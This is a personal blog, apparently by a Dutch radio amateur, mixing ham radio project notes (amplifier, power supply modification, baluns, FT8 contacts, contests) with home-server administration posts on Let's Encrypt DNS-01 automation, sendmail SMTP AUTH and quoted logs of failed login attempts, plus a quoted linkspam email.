So I moved the loop outside to the end of the garden and layed a long cable back to the radio setup. This made interference worse! It was already dark so this was not related to any solar panel setup, but some other source of interference on HF. The loop is supposed to receive less local interference but I could not get it to do that this time (it did work for SSB some other time).

----- No virus found in this message. Checked by AVG - www.avg.com Version: 2014
.0.4830 / Virus Database: 4365/10772 - Release Date: 13/08/18

[-- Attachment #2: doc10089752487652120190813.docx.jar --]

I guess No known virus found was a better message for AVG.

The HP DPS-700 GB power supply adapted to feed the linear amplifier has no own internal fans so I connected a recycled 50mm PC fan. Which runs at full speed which is a lot of noise. I ordered a 12 volt fan control module on-line so it can run slower and keep the noise down a bit.

I'll probably replace the current fan with an 80mm PC fan and set a low minimum speed. The air has to move as the power supply has no internal fans and is quite good at a thermal shutdown. But as long as things don't get warm it would be nice to reduce the noise as this was very noisy.

The reason for making the HP DPS-700 GB powersupply deliver a somewhat higher voltage and lots of amperes is that I made the decision to buy a HF linear amplifier. With such a device I get more output power on HF bands which should increase my chances in radio contests.

I have been looking at new and secondhand linear amplifiers for a while. Since this market is dominated by US customers most amplifiers will give 1000-1500 Watts output power at a serious price. The legal limit here in the Netherlands is 400 Watt unless I request a special license which will never happen since the radio station is surrounded by other houses. But there isn't much on offer below 400 Watt output power. I found RM Italy which sells linear amplifiers for CB and radio amateur use at more reasonable amounts of power and at a better price-point. I selected the RM Italy HLA300V plus which should give 300 Watts on HF bands.

I bought it online and it arrived fast. After soldering some cables to the power supply I was able to use it and it works as intended.

On the 20 meter band and 10 meter band it works with the endfed antenna (which can take 400 watts). On the 40 meter band it goes into protection mode instantly. It turns out the amplifier is quite sensitive to SWR problems, the endfed gives a 1:1.5 SWR. Maybe I can improve this a bit, the resonant point is below the 40 meter band.

Giving it 5 watt input power in digimodes will make 5 of the 7 output power LEDs light up. To get it to light up 5 LEDs in SSB mode I need to give it 10 watts power in that mode.

Propagation wasn't great this weekend so I spent most time in FT8 mode. With the help of the new amplifier I was able to get two new countries in the log: V51MA in Namibia and 9G5AR in Ghana.

The receive side is currently a different story. Interference levels are at an all-time high. The way I currently get reception for FT8 is by using the UTwente WebSDR for the receive side and feeding the audio to WSJT-X. With the delays and audio-processing introduced by the WebSDR I still get better and more decodes than from the local receiver.

For contesting that setup is not going to work. Most contests have a rule that all equipment for a contest station has to be on a limited area. For example the upcoming SCC RTTY contest has the rule:

All operation must take place from one operating site. Transmitter and receiver must be located within a 500-meter diameter circle.

I'm looking into using a receive loop to have less interference on reception.

The authenticated SMTP setup with sendmail and secondary passwords I created is also attracting a new kind of attack: trying credentials from dataleaks. Leading to interesting tries in the log:

Aug 10 17:29:01 greenblatt saslauthd[32650]: do_auth         : auth failure: [user=409shop.com] [service=smtp] [realm=] [mech=pam] [reason=PAM auth error]
Aug 11 10:48:42 greenblatt saslauthd[32649]: do_auth         : auth failure: [user=409shop.com] [service=smtp] [realm=] [mech=pam] [reason=PAM auth error]

At a hamfest a scouting group was offering a HP DPS-700 GB power supply for the nice sum of 5 euro. A quick search with google found information about the pinout so I bought it. This is a power supply that can deliver 56 Ampere at 12 Volts, and the 12 Volts can be adjusted upwards somewhat.

As usual with projects like this the power supply lived in the stack of projects for a while, but today I got around to testing it. Finding the pinout again was a bit hard, but I found the pins again at HP DPS-700GB 80mm fan shroud - Thingiverse which includes the simple modification to make the output voltage go up.

As this power supply has no internal fans and will stop fast due to internal overheating if not cooled, I set it up with a recycled computer fan. Power supplies like this will always be active in systems with enough fans to push air through the whole chassis.

The first test gave me 12.1 Volt. After adding a 1.5 kOhm resistor it went to 13.27 Volt. In theory the maximum current may have dropped as a result of this modification, but my best guess is that it can still deliver 50 Ampere.

Update: More about this power supply and the different types seen in the wild: Increasing voltage on DPS-800GB A / ATSN-7001044-Y000 K1000 / HSTNS-PD05 for amateur radio - PA0FRI

After thoroughly automating Let's Encrypt certificate renewal and installation I wanted to get the same level of automation for systems that do not expose an http service to the outside world. So that means the DNS-01 challenge within the ACME protocol has to be used.

I found out dehydrated Let's Encrypt certificate management supports DNS-01 and I found a sample on how to do this with bind9 at Example hook script using Dynamic DNS update utility for dns-01 challenge which looks like it can do the job.

It took me a few failed tries to find out that if I want a certificate for the name turing.idefix.net that it will request the TXT record for _acme-challenge.turing.idefix.net to make me prove that I have control over the right bit of DNS. I first assumed something in _acme-challenge.idefix.net which turned out wrong. So the bind9 config in /etc/bind/named.conf.local has:

zone "_acme-challenge.turing.idefix.net" {
        type master;
        file "/var/cache/bind/_acme-challenge.turing.idefix.net-zone";
        masterfile-format text;
        allow-update { key "acmekey-turing"; };
        allow-query { any; };
        allow-transfer {
                localnetwork;
        };
};

And in the idefix.net zone there is just one delegation:

_acme-challenge.turing  IN      NS      ns2

I created and used a dnskey with something like:

# dnssec-keygen -r /dev/random -a hmac-sha512 -b 128 -n HOST acmekey-turing
Kacmekey-turing.+157+53887

This gives 2 files, both with the right secret:

# ls Kacmekey-turing.+157+53887.*
Kacmekey-turing.+157+53887.key  Kacmekey-turing.+157+53887.private
# cat Kacmekey-turing.+157+53887.key
acmekey-turing. IN KEY 512 3 157 c2V0ZWMgYXN0cm9ub215

and configured it in /etc/bind/named.conf.options:

key "acmekey-turing" {
        algorithm hmac-md5;
        secret "c2V0ZWMgYXN0cm9ub215";
};

And now I can request a key for turing.idefix.net and use it to generate sendmail certificates. And the net result:

        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256          
        verify=OK)                                                              

SMTP between systems with TLS working and good certificates.

I needed to configure sendmail authenticated access because I want a strict SPF record for idefix.net which means I always have to make outgoing mail originate from the right server.

For the sendmail authenticated smtp bit I used How to setup and test SMTP AUTH within Sendmail with some configuration details from Setting up SMTP AUTH with sendmail and Cyrus-SASL. To get this running saslauthd is needed to get authentication at all and I decided to let it use the pam authentication mechanism. The relevant part of sendmail.mc:

include(`/etc/mail/sasl/sasl.m4')dnl
define(`confAUTH_OPTIONS', `A p')dnl
define(`confAUTH_MECHANISMS', `LOGIN PLAIN')dnl
TRUST_AUTH_MECH(`LOGIN PLAIN')dnl

And now I can login to sendmail only in an encrypted session. And due to sendmail and other services now having valid certificates I can set up all devices to fully check the certificate so I make it difficult to intercept this password.

And after I got that working I decided I wanted 'secondary passwords' just like I configured extra passwords for IMAPS access so I set up /etc/pam.d/smtp to allow other passwords than the unix password and restrict access to the right class of users.

auth    required    pam_succeed_if.so quiet user ingroup users
auth    [success=1 default=ignore]      pam_unix.so nullok_secure
auth    sufficient  pam_userdb.so db=/etc/courier/extrausers crypt=crypt use_first_pass
# here's the fallback if no module succeeds
auth    requisite                       pam_deny.so

Now I can set up my devices that insist on saving the password for outgoing smtp and if it ever gets compromised I just have to change that password without it biting me too hard.

I noticed the Nomadic Research Labs site was cleaned up a bit more, so I searched again for the article that I read in August 1995 about Steven K. Roberts and his recumbent bicycle Behemoth: "Big Electronic Human-Energised Machine ... Only Too Heavy".

The scans are at BEHEMOTH in Kijk – Dutch Magazine. Interesting detail is that the top left text refers to a picture of a Challenge recumbent. I recently ordered a new Challenge recumbent! Maybe I should find out whether I can find that page of that magazine.

Several things can be related to seeing this article: buying the book Computing Across America, selecting a recumbent bicycle later in life and this idea in the back of my head of future recumbent cycling trips.

Over two years ago I started using Let's Encrypt certificates. Recently I wanted to automate this a step further and found dehydrated automated certificate renewal which helps a lot in automating certificate renewal with minimal hassle.

First thing I fixed was http-based verification. The webserver has been set up to make all .well-known/acme-challenge directories end up in one place on the filesystem and it turns out this works great with dehydrated.

I created a separate user for dehydrated, gave that user write permissions for the /home/httpd/html/.well-known/acme-challenge directory. It also needs write access to /etc/dehydrated for its own state. I changed /etc/dehydrated/config with:

CHALLENGETYPE="http-01"
WELLKNOWN="/home/httpd/html/.well-known/acme-challenge"

Now it was possible to request certificates based on a .csr file. I used this to get a new certificate for the home webserver, and it turned out to be easier than the previous setup based on letsencrypt-nosudo.

I had a serious case of 'ooooh shiny' today. I browsed a bit of Northern Canada news from CBC and found the article Dempster Highway drivers flock to new destination — the Arctic coast about the new Inuvik Tuktoyaktuk Highway which connects the Dempster Highway all the way to Tuktoyaktuk on the northern arctic coast.

So I started wondering whether people are cycling the Dempster Highway. Yes, they are. I found several travel stories, Cycling the Dempster Highway to Inuvik, Cycling the Dempster Highway Part 1: Hungrier than the bears - Tasting Travels and Dempster Highway to the Arctic about one cyclist who cycled from Vancouver to Inuvik on a recumbent.

I may have found some future cycling ideas there. Those ideas aren't really new, from time to time I get back to thinking about Computing Across America and Steven K. Roberts.

While trying to get an idea of how much interference I have on the 2 meter band I still worked on my distance records: I had a contact with G8GXP which is a distance of 483 kilometers, a new record for me on the 2 meter band.

This is with S5/S6 interference on the 2 meter band as long as the sun is more than a bit above the horizon, which at the moment is very long. Some ferrite added to the solar power convertor already helped, but I guess the solar optimizers also need some work to clear the 2 meter band again.

Today was an ISS contact with Werner-Heisenberg-Gymnasium, Leverkusen, Germany and Schickhardt-Gymnasium, Herrenberg, Germany and most of the contact was going to be within range for me and it was at a usable time.

So I set up gpredict to track the ISS and the receive frequency and set up audacity to record the results. Which weren't great since 2 meter reception is now influenced by recently installed solar panels on the house next door.

A nice video I found from Essex Ham via Journey into Amateur Radio (Pete M0PSX) where Pete narrates slides from earlier presentations he gave on his specific journey in amateur radio.

SSH attacks are on the rise. But fail2ban isn't blocking as much of those attacks as it used to since the attacks are quite distributed. This morning I noticed clear correlation between a subset of the attempts, they were all using names of websites hosted on the same system.

Jun 25 06:18:44 greenblatt sshd[10092]: Invalid user campwireless from 95.111.97.96
Jun 25 06:29:21 greenblatt sshd[10993]: Invalid user camp-wireless from 206.189.158.105
Jun 25 06:30:51 greenblatt sshd[11073]: Invalid user campwireless from 211.118.23.85
Jun 25 06:41:43 greenblatt sshd[12213]: Invalid user camp-wireless from 80.191.115.125
Jun 25 06:50:01 greenblatt sshd[12962]: Invalid user campwireless from 46.24.225.3
Jun 25 06:59:39 greenblatt sshd[13794]: Invalid user camp-wireless from 58.221.14.202
Jun 25 07:35:27 greenblatt sshd[16771]: Invalid user virtualbookcase from 98.248.65.243
Jun 25 07:35:36 greenblatt sshd[16779]: Invalid user campwireless from 109.95.210.175
Jun 25 07:39:28 greenblatt sshd[17175]: Invalid user camp-wireless from 88.170.50.242
Jun 25 07:46:01 greenblatt sshd[17570]: Invalid user camp-wireless from 166.70.198.80
Jun 25 07:54:59 greenblatt sshd[18273]: Invalid user camp-wireless from 187.104.5.246
Jun 25 07:59:48 greenblatt sshd[18754]: Invalid user idefix from 188.19.15.188
Jun 25 08:02:08 greenblatt sshd[18926]: Invalid user idefix from 179.219.129.91
Jun 25 08:05:54 greenblatt sshd[19358]: Invalid user virtualbookcase from 118.114.237.235
Jun 25 08:09:45 greenblatt sshd[19809]: Invalid user urlurl from 111.231.89.130
Jun 25 08:26:35 greenblatt sshd[21183]: Invalid user urlurl from 212.156.83.146
Jun 25 08:29:07 greenblatt sshd[21357]: Invalid user camp-wireless from 37.205.177.106
Jun 25 08:43:04 greenblatt sshd[22400]: Invalid user campwireless from 190.85.83.230
Jun 25 08:45:45 greenblatt sshd[22558]: Invalid user campwireless from 35.161.235.34
Jun 25 09:01:30 greenblatt sshd[23883]: Invalid user urlurl from 180.76.160.50
Jun 25 09:08:17 greenblatt sshd[24516]: Invalid user camp-wireless from 60.251.223.115
Jun 25 09:23:47 greenblatt sshd[26042]: Invalid user camp-wireless from 106.51.76.93
Jun 25 09:45:27 greenblatt sshd[27812]: Invalid user camp-wireless from 62.254.31.162
Jun 25 09:56:02 greenblatt sshd[28617]: Invalid user campwireless from 212.77.72.170
Jun 25 10:06:47 greenblatt sshd[29707]: Invalid user campwireless from 123.207.139.72
Jun 25 10:14:58 greenblatt sshd[30250]: Invalid user camp-wireless from 81.95.114.163
Jun 25 10:15:43 greenblatt sshd[30317]: Invalid user camp-wireless from 193.112.166.253
Jun 25 10:19:17 greenblatt sshd[30698]: Invalid user campwireless from 211.54.146.250
Jun 25 10:19:25 greenblatt sshd[30702]: Invalid user urlurl from 178.91.253.138
Jun 25 10:32:42 greenblatt sshd[31743]: Invalid user idefix from 85.120.15.35
Jun 25 11:04:33 greenblatt sshd[2346]: Invalid user campwireless from 213.138.110.89

This suggests coordination between the attacking systems.

But the simpler attacks do continue:

Jun 25 09:17:31 greenblatt sshd[25579]: Invalid user cristina from 202.29.224.50
Jun 25 09:17:35 greenblatt sshd[25582]: Invalid user cristina from 202.29.224.50
Jun 25 09:17:39 greenblatt sshd[25586]: Invalid user cristina from 202.29.224.50
Jun 25 09:17:39 greenblatt sshd[25585]: Invalid user cristina from 202.29.224.50

Someone brought me a 'WD My cloud' that does not respond at all. So I took it apart and found out how to access the disk in an i386 Linux system: mount the 4th partition as ext4. When the disk was available I did a smart test:

=== START OF READ SMART DATA SECTION ===
SMART overall-health self-assessment test result: PASSED

But while trying to find out how much data is actually on the disk, I get:

[  866.165641] Sense Key : Medium Error [current] [descriptor]
[  866.165645] Descriptor sense data with sense descriptors (in hex):
[  866.165647]         72 03 11 04 00 00 00 0c 00 0a 80 00 00 00 00 00 
[  866.165659]         b0 90 ea 60 
[  866.165664] sd 2:0:0:0: [sda]  
[  866.165668] Add. Sense: Unrecovered read error - auto reallocate failed

So the disk isn't very healthy. But rerunning the smart check still shows nothing is wrong. It is a Western Digital 'RED' harddisk especially for NAS systems so it should return errors earlier to the operating system but this disk is bad, which is probably related to why the 'my cloud' enclosure isn't working.

Interesting in the logs:

Jun 19 21:22:29 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 19 21:23:30 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 19 21:27:05 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]
Jun 19 21:31:58 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]
Jun 19 22:27:15 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 19 22:30:10 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 19 22:44:17 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]

..

Jun 22 14:23:39 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]
Jun 22 14:24:35 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]
Jun 22 15:20:05 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 22 15:21:01 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.9]
Jun 22 15:29:18 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]
Jun 22 15:30:06 greenblatt imapd-ssl: LOGIN FAILED, method=PLAIN, ip=[::ffff:5.188.207.11]

Every time fail2ban blocks the addresses for a while but the attacker is more persistant than that.

Showing in the logs since a few hours:

Jun 18 12:48:36 server named[16424]: client 92.247.148.230#38664: query '1.3.20.172.in-addr.arpa/PTR/IN' denied
Jun 18 12:48:39 server named[16424]: client 92.247.148.230#38664: query '14.0.20.172.in-addr.arpa/PTR/IN' denied
Jun 18 12:48:45 server named[16424]: client 92.247.148.230#38664: query '41.1.20.172.in-addr.arpa/PTR/IN' denied
Jun 18 12:48:47 server named[16424]: client 92.247.148.230#38664: query '6.1.20.172.in-addr.arpa/PTR/IN' denied

Given earlier reports of the same IPv4 address asking about the same queries this has been seen by at least one other place before. Blacklisted for now, maybe I can think of some answers that can slow down the resolver later.

This evening I made an FT8 contact with VK7AC which is a new distance record: 16918 kilometers. Which is an improvement over the previous record: 16581 kilometers to Melbourne.

With Australia being huge I'm not surprised distances can be very different.

The contact was hard to make but callsigns and signal reports got exchanged eventually. This was on the 40 meter band so that's also a new band for that country.

In the rest of the weekend I made more FT8 contacts on different bands and some SSB (voice) contacts to several active stations. Noticable was that several high-power stations were active on the 10 meter band Friday evening enjoying the band opening.

I'm setting up a website on a new virtual machine on the new homeserver and I want a valid letsencrypt certificate. It's a site I don't want to migrate so I'll have to use the Apache proxy on the 'old' server to allow the site to be accessed via IPv4/IPv6 (for consistency I am now setting up everything via a proxy).

So first I set up a proxy to pass all requests for the new server to the backend, something like:

        ProxyPass / http://newsite-back.idefix.net/
        ProxyPassReverse / http://newsite-back.idefix.net/

But now the requests for /.well-known/acme-challenge also go there and they are blocked needing a username/password since the new site is not open yet.

So to set up the proxy correctly AND avoid the username checks for /.well-known/acme-challenge the order has to be correct. In the ProxyPass rules the rule for the specific URL has to come first and in the Location setup it has to come last.

        ProxyPass /.well-known/acme-challenge !
        ProxyPass / http://newsite-back.idefix.net/
        ProxyPassReverse / http://newsite-back.idefix.net/

        <Location />
        Deny from all
        AuthName "Site not open yet"
        [..]
        </Location>

        <Location /.well-known/acme-challenge>
            Order allow,deny
            Allow from all
        </Location>

And now the acme-challenge is done locally on the server and all other requests get forwarded to the backend after authentication.

As guessed when I got earlier personal distance records with FT8 on the 2 meter band bigger distances are possible with 'Sporadic E', a condition in which even higher frequencies can be propagated through the ionosphere.

This evening G8EOH came back to an FT8 cq on 2 meter and I found out that gave me a new distance record: 342 kilometer.

This weekend had enough time available to be active on the radio. And the 10 meter band was open again, just like the evening opening on 10 meters three weeks ago. This weekend the 10 meter band cooperated most of Friday evening, a few hours Saturday morning and most of Sunday afternoon and evening. Especially 10 meters FT8 was busy and I worked a lot of European countries on the 10 meter band. On Thursday evening I had 15 countries confirmed (lotw or paper qsl) on 10 meter for my call PE4KH, on Sunday evening that number was 25.

I added the Faroe islands to the log Sunday (also on 10 meter FT8) when I saw OY1DZ active and had a contact. Not yet confirmed, I have requested a card via the OQRS system in use for OY1DZ and other calls. According to that page the LoTW confirmation will also happen soon.

I also got a few voice contacts in the log: special event calls and world wide flora and fauna activations are always nice to have. The flora and fauna location spff-450 activated by SP5KD/P was hard to understand at home so I used the utwente websdr to receive and the transmitter at home to transmit.

This evening another try, this time without the preamp. And tried receiving a linear satellite transponder.

This makes things even more complicated as I have to look at one display (gpredict) to have an idea where to aim the antenna and another display (gqrx) for the waterfall display. Maybe both can be on the same screen with a lot of resizing.

The first pass I tried was a pass of the FO-29 satellite which has a linear transponder. It was not a very high pass so all reception was through a house. I did hear morse first, and later saw signs of USB signals in the passband. Signals were weak and noise was high. I was almost able to understand one callsign, a 9A.. callsign (Croatia).

The other pass I tried was a pass of the SO-50 satellite which is a narrow FM satellite. Signals were weak for narrow FM so I had to keep turning the arrow antenna to get the polarisation right. I could hear spanish and english callsigns.

I recorded the SO-50 pass and noted the audio looked very distorted in audacity. Maybe I can improve the audio somewhere in the chain and get things better.

So last year I wanted to get back on amateur satellites and bought some hardware that would enable me to go full-duplex: receive and transmit at the same time. The most important part is to get the receive side working.

This evening had a pass of the SO-50 amateur satellite and a pass of the Fox-1D satellite right after another (with some overlap). And it's dry and a reasonable temperature to be outside with laptop, preamp, rtl-sdr stick and arrow antenna.

Signal levels on narrow FM are still very faint and hard to hear, so I guess I am at the limits of the rtl-sdr for weaker signals, even with the preamp.

In all the web content that has to be migrated to a new environment I noticed the weather map site weather.idefix.net depends on a load of complex scripts to generate it and never got any amount of visitors.

So I decided to stop that site. I'll archive all the scripts around it so I can pick it up again some day.

Over the years I have ranted several times about linkspammers. About spammers in general too, but linkspammers are a special category.

Most of them, especially the fully automated ones died when google started detecting their deceit. That time there was some amusement to be had reading mails "somehow there is an evil link to my site from your site, please remove it as it affects both our google ranking".

But now they are back, but trying to hide it a lot better. I received several nicey-nicey and helpful mails with really personal suggestions to improve my site, or improve the world in general by adding some link they proposed, complete with the right anchor text.

At first I thought they were personal and answered them telling them the proposed links were wrong, or they had not read the article/post/.. they wanted to change very carefully.

And then a week or two later I'd get another personal mail asking whether I had considered their previous request. And answering with "did you read my answer?" did not change a thing.

My best guess at the moment is that I wasn't looking at a personal mail and that I should add a lot of airquotes about terms like "personal" above. It's a template with 'page X' 'needs link Y' and 'with anchor text Z' and there is software running that checks whether page X has the 'right' link and keeps sending reminders until it does.

As you can imagine (or not), I feel very annoyed by this new scam tactic.

One sample:

Hi pal,

My name is Oliver and I'm writing to share an infographic that aims to educate people about PTSD amongst our veterans and serving military personnel. The infographic is titled "The Silent Enemy: How PTSD Damages Our Soldiers".

You can view the infographic by clicking here: [link]

To spread the word about these issues, I ask if you could add a "weblink" to this infographic from this page on your own website: https://idefix.net/~koos/newsitem.cgi/1318581406 Note how this page has only a link to 'military' but actually reading it for 4 seconds would let you know that it has no link to PTSD in the military.

I chose this page because you already link to www.af.mil/News/Photos/ from this page.

If this is possible, you could add the below text to this page on your own websi te:

The Silent Enemy: How PTSD Damages Our Soldiers – An infographic aiming to raise awareness about PTSD in the military.

Alternatively, you could also publish the infographic on your website as a "guest blog post". If this is OK, I can write a unique introduction to go with the infographic. This will save you time and also help to highlight the important issues covered in the infographic.

I really appreciate your time. I know that linking to this infographic will help to build awareness about mental health issues amongst veterans and serving memb ers of the military. I'm sure this is a cause you would like to get behind by adding the above link. I've actually attached the infographic to this email for you to add to your website at either the page I suggest or as a fresh blog post.

Many thanks,

Oliver Clark

Rehab 4 Alcoholism

Please click on Unsubscribe to be unsubscribed from any future communications. P rivacy notice.

The last line is quite a hint that this is from an automated system, the stories are somewhat long so this isn't always very visible.

Now I also wonder whether the link would be to a very commercial rehab organisation.

This weekend I had some time to participate in the EU PSK DX Contest. Conditions did not cooperate very well. First I thought local qrm was making me hear only the loudest stations but comparing it to the Utwente websdr I was hearing about 'everything'.

Total number of QSO in your log is 41, Including 0 QSO with errors, Valid QSO - 41
Band  QSOs Dupes Points Mults
160      0     0      0     0
80       0     0      0     0
40      28     0     56    39
20      13     0     25    21
15       0     0      0     0
10       0     0      0     0
======================================
Total   41     0     81    60
Claimed score is 4860 points

The 10 meter amateur band (from 28.0 to 29.7 MHz) is the HF band where I started making the first HF contacts in 2014 but after that HF propagation went down and I had to go to lower frequencies and bigger antennas.

But there are short periods of better propagation and this evening I tried FT8 on the 10 meter band again and made two contacts into Norway. I even received signals from Brazil so propagation was ok, mostly along the 'greyline' which is the line over the earth between the areas in the sun and not in the sun and causes some more propagation.

Last weekend I participated in the ARI International DX Contest.

Before the contest I was looking at the option of trying the tlf contest software and operating phone (voice) but adding the definitions for scoring this contest to tlf turned out to be not possible at the moment and at the end the weekend was filled with enough other things that only a few hours of operating RTTY were left. Propagation wasn't very cooperative and I first was blaming local interference until I noticed that the same lack of signals was showing in other places and twitter was filled with aurora pictures, so a solar flare had blocked propagation.

In the end I made 43 contacts and entered in the 'single operator RTTY low power' category. Low power on an Italian scale: below 100 watts.

I noticed a lot of error messages from sshd/imaps and other services all related to IPv4 address 192.175.111.254. Checking the firewall logs found even more attempts.

It seems all this noise is related to a 'Web Server Security Test' from High-Tech Bridge. Something like the Qualys SSL Labs SSL Server Test but aimed at a complete test according to PCI DSS, HIPAA and NIST. Since most of those standards have to do with procedures too an automated test can never be complete.

But with all these errors and firewall log entries it is very noisy. And now I wonder who was interested in my webserver security at a time that I was asleep.

Yesterday I changed some IPv4 addresses on virtual machines on the new homeserver to make autofs work. This is a known issue with autofs: autofs does not appear to support IPv6 hostname lookups for NFS mounts - Debian Bug #737679 and for me the easy solution is to do NFS mounts over rfc1918 ipv4 addresses. I prefer autofs over 'fixed' NFS mounts for those filesystems that are nice to be available but aren't needed constantly.

It took about 9 hours before arpwatch on the central router noticed the new activity. I guess the policy to try to do everything over IPv6 is working.

A very good bit of info just flew by on the amsat-bb mailing list: Logging Satellite QSOs with Logbook of the World - AMSAT-NA.

Complete with screenshots and needed steps, how to create an ADIF file (which I could import into CQRLOG) with the satellite-specific fields set to the values needed by LoTW to make it a valid satellite-contact.

CQRLOG has no support for satellite-specific contact information, so for me the workflow for these contacts would be to create an ADIF file as above in LoTW, upload it, and import the ADIF file in CQRLOG and not upload it from CQRLOG.

Now to find time, energy and nice weather to get on the satellites again.

The PE4KH website has maps of the locations where I contacted radio amateurs all over the world. The maps with generated images are created by exporting my locators worked/confirmed from cqrlog and using gcmwin for linux with a whole set of different configurations to plot the results.

But now the 2 meter band has been added and on that band a 'record distance' is not as far as on HF. On HF my current distance record was a contact with Australia at 16581 kilometers. My current distance record on the 2 meter band is 363 kilometer in Germany. Quite a different scale!

So the maps part has been enhanced with a 2 meter contacts map, but gcmwin can't use 6-position maidenhead locators so the map is quite coarse compared to what I want. I don't know the solution at the moment to improve this. The recent qso map PE4KH does show the more precise gridsquares when available in the log, so maybe that page needs distances added.

Today I wanted to install a new virtual machine on the new homeserver and virt-install gave me a new warning:

WARNING  No operating system detected, VM performance may suffer. Specify an OS with --os-variant for optimal results.

According to the virt-install manpage the --os-variant can be found with osinfo-query os which I can't find in Devuan jessie. But the same information is available via Installing Virtual Machines with virt-install, plus copy pastable distro install one-liners.

I chose debian7 as that is probably the closest to Devuan Jessie to be upgraded to Devuan ascii immediately.

The interesting change is that the resulting linux suddenly has virtio networkcards and a disk /dev/vda. That last bit is quite different from earlier virtual machines.

Homemade balun version 2 SWR scan 1-60 MHz 20180424

Homemade balun version 2 SWR scan 10 meter band 20180424

Homemade balun version 2 SWR scan 20 meter band 20180424

Time to do measurements of the revised attic antenna. And now with a voltage balun with more windings the balun is working better, showing ok SWR values. A nice optimum in the middle of the 20 meter band (although I originally wanted that optimum near the digital mode part) and a nice optimum in the 10 meter band (also somewhat higher than originally planned). Comparing them to the original measurements show an increase in frequency in both SWR curves.

So I consider this a good result! Time to get it on the air and make contacts again.

Next step, working on an outside dipole with the Fritzel balun.

After the previous measurements showed the balun and dipole under the roof weren't acting as a perfect combination. So time to do a few things better: more windings, less leftover wire and a switch to a voltage balun. Yes, other sources indicate a current balun is better, but I decided otherwise. The Fritzel balun turned out to be a voltage balun after I removed it from the dipole antenna.

So I used the instructions at 1:1 voltage balun by VK6YSF to rebuild it as a voltage balun and I made sure the wires were shorter in the end. Getting the shorter wires in the right places in the case did get me some slightly burned fingers!

Success is currently defined as "I can transmit a carrier on the 20 meter or 10 meter band and the SWR meter of my radio only goes up a few segments" which isn't very scientific, I will need to do the rest of the measurements with the SWR meter to be sure.

Spam van StoryTel, waarin het me opvalt dat ze de e-mail marketing spam infrastructuur van mandrillapp gebruiken, maar zelfs zonder manieren om uit te schrijven of iets anders wat nog een beetje rekening houdt met de huidige wetgeving op dat gebied.

Zoeken op storytel spam levert niet veel vergelijkbare verhalen op dus blijkbaar is dit een nieuwe aanpak van StoryTel.

Dan maar via alle routes aangemeld als spam, inclusief een complete melding bij Spam melden bij ACM.

Homemade balun SWR scan 1-60 MHz 20180415

Homemade balun SWR scan 10 meter band 20180415

Homemade balun SWR scan 20 meter band 20180415

So I removed the old balun and installed the one I made. Removing the old one wasn't easy: the Fritzel balun has a cover over the SO239 connector which makes the heavy duty connector I used very hard to unscrew. So I had to break bits of that cover to get the needed access. And the connector ended with a lot more scratches from my attempts to get access to it.

But now the balun is replaced, and measured. And it looks like some things have changed now causing the antenna to be 'mistuned'.

Update: Just some measurements and thinking: adding the big common mode choke in the mix makes the combination show better SWR curves (still not what I want) but with the frequency with the best SWR still too low. This suggests (to me) two things: I need more windings on the ferrite core and less extra wire length from the core to the connectors. Time for a rebuild.

I finally decided where to put the holes in the case for the dipole ends of the balun. This took some serious pondering!

I made those holes, put screws through them and wound the ferrite core with enamelled copper wire. To guess the needed length of wire I first wound it with packing rope, made a small knot at the point where it was enough and unwound the rope to measure the length I used and took a bit longer wire.

Using sanding paper I removed the enamel isolation from the ends of the wires and used soldering tin on it.

Other parts of this project:

• Building my own balun, part 1: idea and parts needed
• Building my own balun, part 2: measuring the 'old' balun
• Building my own balun, part 3: First work on the case
• Building my own balun, part 5: First tests of the result
• Building my own balun, part 6: Redo and some success: a working antenna again
• Building my own balun, part 7: Better measurements of the result

As planned I participated in the EA RTTY Contest edition 2018.

I had most of the time to play radio on Sunday so I decided to participate in the SO20DX (single operator 20 meter band outside Spain) category. I did make two contacts on the 40 meter band when I thought I wasn't going to find any new station the 20 meter band but I returned. And found more stations on the 20 meter band.

Interference pattern on the 20 meter band

Radio propagation was ok, best DX were some Asiatic Russia stations and a US station in Illinois. The local noise was bad and there were some new sources of interference active. The pattern as in the image (links to full view of the 2.5 kHz waterfall) which is very stable in frequency and has a tendency to stop and start, and at the stop the carriers move together. Also a more 'rattling' noise which sounded like an electrical problem.

In the end I made 81 contacts in total, 79 on the 20 meter band.

Apr  6 23:41:16 greenblatt sshd[25116]: Invalid user squid from 139.99.122.129
Apr  7 01:44:09 greenblatt sshd[3495]: Invalid user squid from 110.10.189.108
Apr  7 08:21:37 greenblatt sshd[7106]: Invalid user squid from 118.24.100.11

I'm glad you read my newsitem about keeping squid running.

Another new country that should not be too hard to get in the log but did not happen until today: South Africa. ZS6ZA was active on 40 meter FT8 and received my answers.

I considered stopping using squid when upgrading to the new homeserver but I have now changed that decision: I need to keep it running for applications that want to do http connections to IPv6-only systems but can't handle those. There are some old scripts running that need it but it's also the way to fix the problem I noticed with linuxcounter.

In looking at a problem with the linuxcounter script I noticed I am now passing the 25 years with Linux mark. I first saw it in the beginning of 1993 when part of my internship happened at the 'expa' lab of Hogeschool Utrecht with SLS Linux.

Anyway, still using Linux a lot. It's been an interesting 25 years!

After my participation in the EA PSK63 Contest 2018 I plan to have the radio active in the upcoming weekend for the EA RTTY Contest.

